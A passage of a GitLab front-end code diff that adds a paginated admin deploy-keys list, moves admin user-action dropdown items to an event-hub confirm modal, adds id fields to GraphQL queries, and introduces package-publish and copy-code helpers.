+ actionSecondary: {
+ text: __('Cancel'),
+ attributes: {
+ variant: 'default',
+ },
+ },
+ },
+ csrf,
+ DEFAULT_PER_PAGE,
components: {
GlTable,
GlButton,
+ GlPagination,
+ TimeAgoTooltip,
+ GlLoadingIcon,
+ GlEmptyState,
+ GlModal,
},
inject: ['editPath', 'deletePath', 'createPath', 'emptyStateSvgPath'],
+ data() {
+ return {
+ page: 1,
+ totalItems: 0,
+ loading: false,
+ items: [],
+ deployKeyToDelete: null,
+ };
+ },
+ computed: {
+ shouldShowTable() {
+ return this.totalItems !== 0 || this.loading;
+ },
+ isModalVisible() {
+ return this.deployKeyToDelete !== null;
+ },
+ deleteAction() {
+ return this.deployKeyToDelete === null
+ ? null
+ : this.deletePath.replace(':id', this.deployKeyToDelete);
+ },
+ },
+ watch: {
+ page(newPage) {
+ this.fetchDeployKeys(newPage);
+ },
+ },
+ mounted() {
+ this.fetchDeployKeys();
+ },
+ methods: {
+ editHref(id) {
+ return this.editPath.replace(':id', id);
+ },
+ projectHref(project) {
+ return `/${cleanLeadingSeparator(project.path_with_namespace)}`;
+ },
+ async fetchDeployKeys(page) {
+ this.loading = true;
+ try {
+ const { headers, data: items } = await Api.deployKeys({
+ page,
+ public: true,
+ });
+
+ if (this.totalItems === 0) {
+ this.totalItems = parseInt(headers?.['x-total'], 10) || 0;
+ }
+
+ this.items = items.map(
+ ({ id, title, fingerprint, projects_with_write_access, created_at }) => ({
+ id,
+ title,
+ fingerprint,
+ projects: projects_with_write_access,
+ created: created_at,
+ }),
+ );
+ } catch (error) {
+ createFlash({
+ message: this.$options.i18n.apiErrorMessage,
+ captureError: true,
+ error,
+ });
+
+ this.totalItems = 0;
+
+ this.items = [];
+ }
+ this.loading = false;
+ },
+ handleDeleteClick(id) {
+ this.deployKeyToDelete = id;
+ },
+ handleModalHide() {
+ this.deployKeyToDelete = null;
+ },
+ handleModalPrimary() {
+ this.$refs.modalForm.submit();
+ },
+ },
};
</script>
@@ -45,10 +170,92 @@ export default {
<h4 class="gl-m-0">
{{ $options.i18n.pageTitle }}
</h4>
- <gl-button variant="confirm" :href="createPath">{{
+ <gl-button variant="confirm" :href="createPath" data-testid="new-deploy-key-button">{{
$options.i18n.newDeployKeyButtonText
}}</gl-button>
</div>
- <gl-table :fields="$options.fields" data-testid="deploy-keys-list" />
+ <template v-if="shouldShowTable">
+ <gl-table
+ :busy="loading"
+ :items="items"
+ :fields="$options.fields"
+ stacked="lg"
+ data-testid="deploy-keys-list"
+ >
+ <template #table-busy>
+ <gl-loading-icon size="lg" class="gl-my-5" />
+ </template>
+
+ <template #cell(projects)="{ item: { projects } }">
+ <a
+ v-for="project in projects"
+ :key="project.id"
+ :href="projectHref(project)"
+ class="gl-display-block"
+ >{{ project.name_with_namespace }}</a
+ >
+ </template>
+
+ <template #cell(fingerprint)="{ item: { fingerprint } }">
+ <code>{{ fingerprint }}</code>
+ </template>
+
+ <template #cell(created)="{ item: { created } }">
+ <time-ago-tooltip :time="created" />
+ </template>
+
+ <template #head(actions)="{ label }">
+ <span class="gl-sr-only">{{ label }}</span>
+ </template>
+
+ <template #cell(actions)="{ item: { id } }">
+ <gl-button
+ icon="pencil"
+ :aria-label="$options.i18n.edit"
+ :href="editHref(id)"
+ class="gl-mr-2"
+ />
+ <gl-button
+ variant="danger"
+ icon="remove"
+ :aria-label="$options.i18n.delete"
+ @click="handleDeleteClick(id)"
+ />
+ </template>
+ </gl-table>
+ <gl-pagination
+ v-if="!loading"
+ v-model="page"
+ :per-page="$options.DEFAULT_PER_PAGE"
+ :total-items="totalItems"
+ :next-text="$options.i18n.pagination.next"
+ :prev-text="$options.i18n.pagination.prev"
+ align="center"
+ />
+ </template>
+ <gl-empty-state
+ v-else
+ :svg-path="emptyStateSvgPath"
+ :title="$options.i18n.emptyStateTitle"
+ :description="$options.i18n.emptyStateDescription"
+ :primary-button-text="$options.i18n.newDeployKeyButtonText"
+ :primary-button-link="createPath"
+ />
+ <gl-modal
+ :modal-id="$options.modal.id"
+ :visible="isModalVisible"
+ :title="$options.i18n.modal.title"
+ :action-primary="$options.modal.actionPrimary"
+ :action-secondary="$options.modal.actionSecondary"
+ size="sm"
+ @hide="handleModalHide"
+ @primary="handleModalPrimary"
+ >
+ <form ref="modalForm" :action="deleteAction" method="post">
+ <input type="hidden" name="_method" value="delete" />
+ <input type="hidden" name="authenticity_token" :value="$options.csrf.token" />
+ </form>
+ {{ $options.i18n.modal.body }}
+ </gl-modal>
</div>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/activate.vue b/app/assets/javascripts/admin/users/components/actions/activate.vue
index 74e9c60a57b..3a54035c587 100644
--- a/app/assets/javascripts/admin/users/components/actions/activate.vue
+++ b/app/assets/javascripts/admin/users/components/actions/activate.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
import { sprintf, s__, __ } from '~/locale';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from '~/vue_shared/components/confirm_modal_eventhub';
import { I18N_USER_ACTIONS } from '../../constants';
// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
@@ -26,16 +27,15 @@ export default {
required: true,
},
},
- computed: {
- modalAttributes() {
- return {
- 'data-path': this.path,
- 'data-method': 'put',
- 'data-modal-attributes': JSON.stringify({
+ methods: {
+ onClick() {
+ eventHub.$emit(EVENT_OPEN_CONFIRM_MODAL, {
+ path: this.path,
+ method: 'put',
+ modalAttributes: {
title: sprintf(s__('AdminUsers|Activate user %{username}?'), {
username: this.username,
}),
- messageHtml,
actionCancel: {
text: __('Cancel'),
},
@@ -43,15 +43,16 @@ export default {
text: I18N_USER_ACTIONS.activate,
attributes: [{ variant: 'confirm' }],
},
- }),
- };
+ messageHtml,
+ },
+ });
},
},
};
</script>
<template>
- <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <gl-dropdown-item @click="onClick">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/approve.vue b/app/assets/javascripts/admin/users/components/actions/approve.vue
index 77a9be8eec2..5a8c675822d 100644
--- a/app/assets/javascripts/admin/users/components/actions/approve.vue
+++ b/app/assets/javascripts/admin/users/components/actions/approve.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
import { sprintf, s__, __ } from '~/locale';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from '~/vue_shared/components/confirm_modal_eventhub';
import { I18N_USER_ACTIONS } from '../../constants';
// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
@@ -28,12 +29,12 @@ export default {
required: true,
},
},
- computed: {
- attributes() {
- return {
- 'data-path': this.path,
- 'data-method': 'put',
- 'data-modal-attributes': JSON.stringify({
+ methods: {
+ onClick() {
+ eventHub.$emit(EVENT_OPEN_CONFIRM_MODAL, {
+ path: this.path,
+ method: 'put',
+ modalAttributes: {
title: sprintf(s__('AdminUsers|Approve user %{username}?'), {
username: this.username,
}),
@@ -45,16 +46,15 @@ export default {
attributes: [{ variant: 'confirm', 'data-qa-selector': 'approve_user_confirm_button' }],
},
messageHtml,
- }),
- 'data-qa-selector': 'approve_user_button',
- };
+ },
+ });
},
},
};
</script>
<template>
- <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...attributes }">
+ <gl-dropdown-item data-qa-selector="approve_user_button" @click="onClick">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/ban.vue b/app/assets/javascripts/admin/users/components/actions/ban.vue
index e5ab0f9123f..55938832dce 100644
--- a/app/assets/javascripts/admin/users/components/actions/ban.vue
+++ b/app/assets/javascripts/admin/users/components/actions/ban.vue
@@ -2,6 +2,7 @@
import { GlDropdownItem } from '@gitlab/ui';
import { helpPagePath } from '~/helpers/help_page_helper';
import { sprintf, s__, __ } from '~/locale';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from '~/vue_shared/components/confirm_modal_eventhub';
import { I18N_USER_ACTIONS } from '../../constants';
// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
@@ -39,12 +40,12 @@ export default {
required: true,
},
},
- computed: {
- modalAttributes() {
- return {
- 'data-path': this.path,
- 'data-method': 'put',
- 'data-modal-attributes': JSON.stringify({
+ methods: {
+ onClick() {
+ eventHub.$emit(EVENT_OPEN_CONFIRM_MODAL, {
+ path: this.path,
+ method: 'put',
+ modalAttributes: {
title: sprintf(s__('AdminUsers|Ban user %{username}?'), {
username: this.username,
}),
@@ -56,15 +57,15 @@ export default {
attributes: [{ variant: 'confirm' }],
},
messageHtml,
- }),
- };
+ },
+ });
},
},
};
</script>
<template>
- <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <gl-dropdown-item @click="onClick">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/block.vue b/app/assets/javascripts/admin/users/components/actions/block.vue
index 03557008a89..d25dd400f9b 100644
--- a/app/assets/javascripts/admin/users/components/actions/block.vue
+++ b/app/assets/javascripts/admin/users/components/actions/block.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
import { sprintf, s__, __ } from '~/locale';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from '~/vue_shared/components/confirm_modal_eventhub';
import { I18N_USER_ACTIONS } from '../../constants';
// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
@@ -29,12 +30,12 @@ export default {
required: true,
},
},
- computed: {
- modalAttributes() {
- return {
- 'data-path': this.path,
- 'data-method': 'put',
- 'data-modal-attributes': JSON.stringify({
+ methods: {
+ onClick() {
+ eventHub.$emit(EVENT_OPEN_CONFIRM_MODAL, {
+ path: this.path,
+ method: 'put',
+ modalAttributes: {
title: sprintf(s__('AdminUsers|Block user %{username}?'), { username: this.username }),
actionCancel: {
text: __('Cancel'),
@@ -44,15 +45,15 @@ export default {
attributes: [{ variant: 'confirm' }],
},
messageHtml,
- }),
- };
+ },
+ });
},
},
};
</script>
<template>
- <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <gl-dropdown-item @click="onClick">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/deactivate.vue b/app/assets/javascripts/admin/users/components/actions/deactivate.vue
index 640c8fefc20..c85f3f01675 100644
--- a/app/assets/javascripts/admin/users/components/actions/deactivate.vue
+++ b/app/assets/javascripts/admin/users/components/actions/deactivate.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
import { sprintf, s__, __ } from '~/locale';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from '~/vue_shared/components/confirm_modal_eventhub';
import { I18N_USER_ACTIONS } from '../../constants';
// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
@@ -36,12 +37,12 @@ export default {
required: true,
},
},
- computed: {
- modalAttributes() {
- return {
- 'data-path': this.path,
- 'data-method': 'put',
- 'data-modal-attributes': JSON.stringify({
+ methods: {
+ onClick() {
+ eventHub.$emit(EVENT_OPEN_CONFIRM_MODAL, {
+ path: this.path,
+ method: 'put',
+ modalAttributes: {
title: sprintf(s__('AdminUsers|Deactivate user %{username}?'), {
username: this.username,
}),
@@ -53,15 +54,15 @@ export default {
attributes: [{ variant: 'confirm' }],
},
messageHtml,
- }),
- };
+ },
+ });
},
},
};
</script>
<template>
- <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <gl-dropdown-item @click="onClick">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/reject.vue b/app/assets/javascripts/admin/users/components/actions/reject.vue
index 901306455fa..bac08de1d5e 100644
--- a/app/assets/javascripts/admin/users/components/actions/reject.vue
+++ b/app/assets/javascripts/admin/users/components/actions/reject.vue
@@ -2,6 +2,7 @@
import { GlDropdownItem } from '@gitlab/ui';
import { helpPagePath } from '~/helpers/help_page_helper';
import { sprintf, s__, __ } from '~/locale';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from '~/vue_shared/components/confirm_modal_eventhub';
import { I18N_USER_ACTIONS } from '../../constants';
// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
@@ -39,12 +40,12 @@ export default {
required: true,
},
},
- computed: {
- modalAttributes() {
- return {
- 'data-path': this.path,
- 'data-method': 'delete',
- 'data-modal-attributes': JSON.stringify({
+ methods: {
+ onClick() {
+ eventHub.$emit(EVENT_OPEN_CONFIRM_MODAL, {
+ path: this.path,
+ method: 'delete',
+ modalAttributes: {
title: sprintf(s__('AdminUsers|Reject user %{username}?'), {
username: this.username,
}),
@@ -56,15 +57,15 @@ export default {
attributes: [{ variant: 'danger' }],
},
messageHtml,
- }),
- };
+ },
+ });
},
},
};
</script>
<template>
- <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <gl-dropdown-item @click="onClick">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/unban.vue b/app/assets/javascripts/admin/users/components/actions/unban.vue
index 8083e26177e..beede2d37d7 100644
--- a/app/assets/javascripts/admin/users/components/actions/unban.vue
+++ b/app/assets/javascripts/admin/users/components/actions/unban.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
import { sprintf, s__, __ } from '~/locale';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from '~/vue_shared/components/confirm_modal_eventhub';
import { I18N_USER_ACTIONS } from '../../constants';
// TODO: To be replaced with <template> content in https://gitlab.com/gitlab-org/gitlab/-/issues/320922
@@ -22,12 +23,12 @@ export default {
required: true,
},
},
- computed: {
- modalAttributes() {
- return {
- 'data-path': this.path,
- 'data-method': 'put',
- 'data-modal-attributes': JSON.stringify({
+ methods: {
+ onClick() {
+ eventHub.$emit(EVENT_OPEN_CONFIRM_MODAL, {
+ path: this.path,
+ method: 'put',
+ modalAttributes: {
title: sprintf(s__('AdminUsers|Unban user %{username}?'), {
username: this.username,
}),
@@ -39,15 +40,15 @@ export default {
attributes: [{ variant: 'confirm' }],
},
messageHtml,
- }),
- };
+ },
+ });
},
},
};
</script>
<template>
- <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <gl-dropdown-item @click="onClick">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/unblock.vue b/app/assets/javascripts/admin/users/components/actions/unblock.vue
index 7de6653e0cd..720f2efd932 100644
--- a/app/assets/javascripts/admin/users/components/actions/unblock.vue
+++ b/app/assets/javascripts/admin/users/components/actions/unblock.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
import { sprintf, s__, __ } from '~/locale';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from '~/vue_shared/components/confirm_modal_eventhub';
import { I18N_USER_ACTIONS } from '../../constants';
export default {
@@ -17,12 +18,13 @@ export default {
required: true,
},
},
- computed: {
- modalAttributes() {
- return {
- 'data-path': this.path,
- 'data-method': 'put',
- 'data-modal-attributes': JSON.stringify({
+
+ methods: {
+ onClick() {
+ eventHub.$emit(EVENT_OPEN_CONFIRM_MODAL, {
+ path: this.path,
+ method: 'put',
+ modalAttributes: {
title: sprintf(s__('AdminUsers|Unblock user %{username}?'), { username: this.username }),
message: s__('AdminUsers|You can always block their account again if needed.'),
actionCancel: {
@@ -32,15 +34,15 @@ export default {
text: I18N_USER_ACTIONS.unblock,
attributes: [{ variant: 'confirm' }],
},
- }),
- };
+ },
+ });
},
},
};
</script>
<template>
- <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <gl-dropdown-item @click="onClick">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/actions/unlock.vue b/app/assets/javascripts/admin/users/components/actions/unlock.vue
index 10d4fb06d61..55ea3e0aba7 100644
--- a/app/assets/javascripts/admin/users/components/actions/unlock.vue
+++ b/app/assets/javascripts/admin/users/components/actions/unlock.vue
@@ -1,6 +1,7 @@
<script>
import { GlDropdownItem } from '@gitlab/ui';
import { sprintf, s__, __ } from '~/locale';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from '~/vue_shared/components/confirm_modal_eventhub';
import { I18N_USER_ACTIONS } from '../../constants';
export default {
@@ -17,12 +18,12 @@ export default {
required: true,
},
},
- computed: {
- modalAttributes() {
- return {
- 'data-path': this.path,
- 'data-method': 'put',
- 'data-modal-attributes': JSON.stringify({
+ methods: {
+ onClick() {
+ eventHub.$emit(EVENT_OPEN_CONFIRM_MODAL, {
+ path: this.path,
+ method: 'put',
+ modalAttributes: {
title: sprintf(s__('AdminUsers|Unlock user %{username}?'), { username: this.username }),
message: __('Are you sure?'),
actionCancel: {
@@ -32,15 +33,15 @@ export default {
text: I18N_USER_ACTIONS.unlock,
attributes: [{ variant: 'confirm' }],
},
- }),
- };
+ },
+ });
},
},
};
</script>
<template>
- <gl-dropdown-item button-class="js-confirm-modal-button" v-bind="{ ...modalAttributes }">
+ <gl-dropdown-item @click="onClick">
<slot></slot>
</gl-dropdown-item>
</template>
diff --git a/app/assets/javascripts/admin/users/components/modals/delete_user_modal.vue b/app/assets/javascripts/admin/users/components/modals/delete_user_modal.vue
index e949498c55b..d7c08096376 100644
--- a/app/assets/javascripts/admin/users/components/modals/delete_user_modal.vue
+++ b/app/assets/javascripts/admin/users/components/modals/delete_user_modal.vue
@@ -57,14 +57,17 @@ export default {
};
},
computed: {
+ trimmedUsername() {
+ return this.username.trim();
+ },
modalTitle() {
- return sprintf(this.title, { username: this.username }, false);
+ return sprintf(this.title, { username: this.trimmedUsername }, false);
},
secondaryButtonLabel() {
return s__('AdminUsers|Block user');
},
canSubmit() {
- return this.enteredUsername === this.username;
+ return this.enteredUsername === this.trimmedUsername;
},
obstacles() {
try {
@@ -104,7 +107,7 @@ export default {
<p>
<gl-sprintf :message="content">
<template #username>
- <strong>{{ username }}</strong>
+ <strong>{{ trimmedUsername }}</strong>
</template>
<template #strong="props">
<strong>{{ props.content }}</strong>
@@ -115,13 +118,13 @@ export default {
<user-deletion-obstacles-list
v-if="obstacles.length"
:obstacles="obstacles"
- :user-name="username"
+ :user-name="trimmedUsername"
/>
<p>
<gl-sprintf :message="s__('AdminUsers|To confirm, type %{username}')">
<template #username>
- <code class="gl-white-space-pre-wrap">{{ username }}</code>
+ <code class="gl-white-space-pre-wrap">{{ trimmedUsername }}</code>
</template>
</gl-sprintf>
</p>
diff --git a/app/assets/javascripts/admin/users/components/user_actions.vue b/app/assets/javascripts/admin/users/components/user_actions.vue
index 4f4e2947341..567d7151847 100644
--- a/app/assets/javascripts/admin/users/components/user_actions.vue
+++ b/app/assets/javascripts/admin/users/components/user_actions.vue
@@ -112,7 +112,7 @@ export default {
right
:text="$options.i18n.userAdministration"
:text-sr-only="!showButtonLabels"
- icon="settings"
+ icon="ellipsis_h"
data-qa-selector="user_actions_dropdown_toggle"
:data-qa-username="user.username"
>
diff --git a/app/assets/javascripts/alert_management/graphql/queries/get_count_by_status.query.graphql b/app/assets/javascripts/alert_management/graphql/queries/get_count_by_status.query.graphql
index 40ec4c56171..0f9075c58bf 100644
--- a/app/assets/javascripts/alert_management/graphql/queries/get_count_by_status.query.graphql
+++ b/app/assets/javascripts/alert_management/graphql/queries/get_count_by_status.query.graphql
@@ -1,5 +1,6 @@
query getAlertsCount($searchTerm: String, $projectPath: ID!, $assigneeUsername: String = "") {
project(fullPath: $projectPath) {
+ id
alertManagementAlertStatusCounts(search: $searchTerm, assigneeUsername: $assigneeUsername) {
all
open
diff --git a/app/assets/javascripts/alerts_settings/graphql/mutations/create_http_integration.mutation.graphql b/app/assets/javascripts/alerts_settings/graphql/mutations/create_http_integration.mutation.graphql
index babcdea935d..d4f4f244759 100644
--- a/app/assets/javascripts/alerts_settings/graphql/mutations/create_http_integration.mutation.graphql
+++ b/app/assets/javascripts/alerts_settings/graphql/mutations/create_http_integration.mutation.graphql
@@ -3,6 +3,8 @@
mutation createHttpIntegration($projectPath: ID!, $name: String!, $active: Boolean!) {
httpIntegrationCreate(input: { projectPath: $projectPath, name: $name, active: $active }) {
errors
+ # We have ID in a deeply nested fragment
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
integration {
...HttpIntegrationItem
}
diff --git a/app/assets/javascripts/alerts_settings/graphql/mutations/destroy_http_integration.mutation.graphql b/app/assets/javascripts/alerts_settings/graphql/mutations/destroy_http_integration.mutation.graphql
index a3a50651fd0..caa258e0848 100644
--- a/app/assets/javascripts/alerts_settings/graphql/mutations/destroy_http_integration.mutation.graphql
+++ b/app/assets/javascripts/alerts_settings/graphql/mutations/destroy_http_integration.mutation.graphql
@@ -3,6 +3,8 @@
mutation destroyHttpIntegration($id: ID!) {
httpIntegrationDestroy(input: { id: $id }) {
errors
+ # We have ID in a deeply nested fragment
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
integration {
...HttpIntegrationItem
}
diff --git a/app/assets/javascripts/alerts_settings/graphql/mutations/reset_http_token.mutation.graphql b/app/assets/javascripts/alerts_settings/graphql/mutations/reset_http_token.mutation.graphql
index c0754d8e32b..2f30f9abb5c 100644
--- a/app/assets/javascripts/alerts_settings/graphql/mutations/reset_http_token.mutation.graphql
+++ b/app/assets/javascripts/alerts_settings/graphql/mutations/reset_http_token.mutation.graphql
@@ -3,6 +3,8 @@
mutation resetHttpIntegrationToken($id: ID!) {
httpIntegrationResetToken(input: { id: $id }) {
errors
+ # We have ID in a deeply nested fragment
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
integration {
...HttpIntegrationItem
}
diff --git a/app/assets/javascripts/alerts_settings/graphql/mutations/update_http_integration.mutation.graphql b/app/assets/javascripts/alerts_settings/graphql/mutations/update_http_integration.mutation.graphql
index 37df9ec25eb..2cf56613673 100644
--- a/app/assets/javascripts/alerts_settings/graphql/mutations/update_http_integration.mutation.graphql
+++ b/app/assets/javascripts/alerts_settings/graphql/mutations/update_http_integration.mutation.graphql
@@ -3,6 +3,8 @@
mutation updateHttpIntegration($id: ID!, $name: String!, $active: Boolean!) {
httpIntegrationUpdate(input: { id: $id, name: $name, active: $active }) {
errors
+ # We have ID in a deeply nested fragment
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
integration {
...HttpIntegrationItem
}
diff --git a/app/assets/javascripts/alerts_settings/graphql/queries/get_http_integration.query.graphql b/app/assets/javascripts/alerts_settings/graphql/queries/get_http_integration.query.graphql
index d20a8b8334b..7299e6836d4 100644
--- a/app/assets/javascripts/alerts_settings/graphql/queries/get_http_integration.query.graphql
+++ b/app/assets/javascripts/alerts_settings/graphql/queries/get_http_integration.query.graphql
@@ -2,6 +2,7 @@
query getHttpIntegration($projectPath: ID!, $id: ID) {
project(fullPath: $projectPath) {
+ id
alertManagementHttpIntegrations(id: $id) {
nodes {
...HttpIntegrationPayloadData
diff --git a/app/assets/javascripts/alerts_settings/graphql/queries/get_integrations.query.graphql b/app/assets/javascripts/alerts_settings/graphql/queries/get_integrations.query.graphql
index 228dd5fb176..3cd3f2d92f8 100644
--- a/app/assets/javascripts/alerts_settings/graphql/queries/get_integrations.query.graphql
+++ b/app/assets/javascripts/alerts_settings/graphql/queries/get_integrations.query.graphql
@@ -2,6 +2,7 @@
query getIntegrations($projectPath: ID!) {
project(fullPath: $projectPath) {
+ id
alertManagementIntegrations {
nodes {
...IntegrationItem
diff --git a/app/assets/javascripts/alerts_settings/graphql/queries/parse_sample_payload.query.graphql b/app/assets/javascripts/alerts_settings/graphql/queries/parse_sample_payload.query.graphql
index 159b2661f0b..15df4a08cc2 100644
--- a/app/assets/javascripts/alerts_settings/graphql/queries/parse_sample_payload.query.graphql
+++ b/app/assets/javascripts/alerts_settings/graphql/queries/parse_sample_payload.query.graphql
@@ -1,5 +1,6 @@
query parsePayloadFields($projectPath: ID!, $payload: String!) {
project(fullPath: $projectPath) {
+ id
alertManagementPayloadFields(payloadExample: $payload) {
path
label
diff --git a/app/assets/javascripts/analytics/devops_reports/components/devops_score.vue b/app/assets/javascripts/analytics/devops_reports/components/devops_score.vue
index 238081cc3c0..5a394059931 100644
--- a/app/assets/javascripts/analytics/devops_reports/components/devops_score.vue
+++ b/app/assets/javascripts/analytics/devops_reports/components/devops_score.vue
@@ -1,5 +1,5 @@
<script>
-import { GlBadge, GlTable, GlLink, GlEmptyState } from '@gitlab/ui';
+import { GlBadge, GlTableLite, GlLink, GlEmptyState } from '@gitlab/ui';
import { GlSingleStat } from '@gitlab/ui/dist/charts';
import { helpPagePath } from '~/helpers/help_page_helper';
import { sprintf, s__ } from '~/locale';
@@ -13,7 +13,7 @@ const defaultHeaderAttrs = {
export default {
components: {
GlBadge,
- GlTable,
+ GlTableLite,
GlSingleStat,
GlLink,
GlEmptyState,
@@ -94,7 +94,7 @@ export default {
:meta-text="devopsScoreMetrics.averageScore.scoreLevel.label"
:variant="devopsScoreMetrics.averageScore.scoreLevel.variant"
/>
- <gl-table
+ <gl-table-lite
:fields="$options.tableHeaderFields"
:items="devopsScoreMetrics.cards"
thead-class="gl-border-t-0 gl-border-b-solid gl-border-b-1 gl-border-b-gray-100"
@@ -108,7 +108,7 @@ export default {
}}</gl-badge>
</div>
</template>
- </gl-table>
+ </gl-table-lite>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/analytics/shared/graphql/projects.query.graphql b/app/assets/javascripts/analytics/shared/graphql/projects.query.graphql
index b870ed4dcbf..ea2f911fb54 100644
--- a/app/assets/javascripts/analytics/shared/graphql/projects.query.graphql
+++ b/app/assets/javascripts/analytics/shared/graphql/projects.query.graphql
@@ -5,6 +5,7 @@ query analyticsGetGroupProjects(
$includeSubgroups: Boolean = false
) {
group(fullPath: $groupFullPath) {
+ id
projects(
search: $search
first: $first
diff --git a/app/assets/javascripts/api.js b/app/assets/javascripts/api.js
index adf3e122a64..8c996b448aa 100644
--- a/app/assets/javascripts/api.js
+++ b/app/assets/javascripts/api.js
@@ -91,6 +91,7 @@ const Api = {
projectNotificationSettingsPath: '/api/:version/projects/:id/notification_settings',
groupNotificationSettingsPath: '/api/:version/groups/:id/notification_settings',
notificationSettingsPath: '/api/:version/notification_settings',
+ deployKeysPath: '/api/:version/deploy_keys',
group(groupId, callback = () => {}) {
const url = Api.buildUrl(Api.groupPath).replace(':id', groupId);
@@ -950,6 +951,12 @@ const Api = {
return axios.delete(url);
},
+ deployKeys(params = {}) {
+ const url = Api.buildUrl(this.deployKeysPath);
+
+ return axios.get(url, { params: { per_page: DEFAULT_PER_PAGE, ...params } });
+ },
+
async updateNotificationSettings(projectId, groupId, data = {}) {
let url = Api.buildUrl(this.notificationSettingsPath);
diff --git a/app/assets/javascripts/api/packages_api.js b/app/assets/javascripts/api/packages_api.js
new file mode 100644
index 00000000000..47f51c7e80e
--- /dev/null
+++ b/app/assets/javascripts/api/packages_api.js
@@ -0,0 +1,32 @@
+import axios from '../lib/utils/axios_utils';
+import { buildApiUrl } from './api_utils';
+
+const PUBLISH_PACKAGE_PATH =
+ '/api/:version/projects/:id/packages/generic/:package_name/:package_version/:file_name';
+
+export function publishPackage(
+ { projectPath, name, version, fileName, files },
+ options,
+ axiosOptions = {},
+) {
+ const url = buildApiUrl(PUBLISH_PACKAGE_PATH)
+ .replace(':id', encodeURIComponent(projectPath))
+ .replace(':package_name', name)
+ .replace(':package_version', version)
+ .replace(':file_name', fileName);
+
+ const defaults = {
+ status: 'default',
+ };
+
+ const formData = new FormData();
+ formData.append('file', files[0]);
+
+ return axios.put(url, formData, {
+ headers: {
+ 'Content-Type': 'multipart/form-data',
+ },
+ params: Object.assign(defaults, options),
+ ...axiosOptions,
+ });
+}
diff --git a/app/assets/javascripts/artifacts_settings/graphql/queries/get_keep_latest_artifact_project_setting.query.graphql b/app/assets/javascripts/artifacts_settings/graphql/queries/get_keep_latest_artifact_project_setting.query.graphql
index 7486512c57c..91fa468fc8c 100644
--- a/app/assets/javascripts/artifacts_settings/graphql/queries/get_keep_latest_artifact_project_setting.query.graphql
+++ b/app/assets/javascripts/artifacts_settings/graphql/queries/get_keep_latest_artifact_project_setting.query.graphql
@@ -1,5 +1,6 @@
query getKeepLatestArtifactProjectSetting($fullPath: ID!) {
project(fullPath: $fullPath) {
+ id
ciCdSettings {
keepLatestArtifact
}
diff --git a/app/assets/javascripts/batch_comments/components/draft_note.vue b/app/assets/javascripts/batch_comments/components/draft_note.vue
index 918519f386b..a218624f2d4 100644
--- a/app/assets/javascripts/batch_comments/components/draft_note.vue
+++ b/app/assets/javascripts/batch_comments/components/draft_note.vue
@@ -76,7 +76,7 @@ export default {
},
},
safeHtmlConfig: {
- ADD_TAGS: ['use', 'gl-emoji'],
+ ADD_TAGS: ['use', 'gl-emoji', 'copy-code'],
},
};
</script>
diff --git a/app/assets/javascripts/behaviors/copy_code.js b/app/assets/javascripts/behaviors/copy_code.js
new file mode 100644
index 00000000000..a6e203ea5a2
--- /dev/null
+++ b/app/assets/javascripts/behaviors/copy_code.js
@@ -0,0 +1,66 @@
+import { uniqueId } from 'lodash';
+import { __ } from '~/locale';
+import { spriteIcon } from '~/lib/utils/common_utils';
+import { setAttributes } from '~/lib/utils/dom_utils';
+
+class CopyCodeButton extends HTMLElement {
+ connectedCallback() {
+ this.for = uniqueId('code-');
+
+ this.parentNode.querySelector('pre').setAttribute('id', this.for);
+
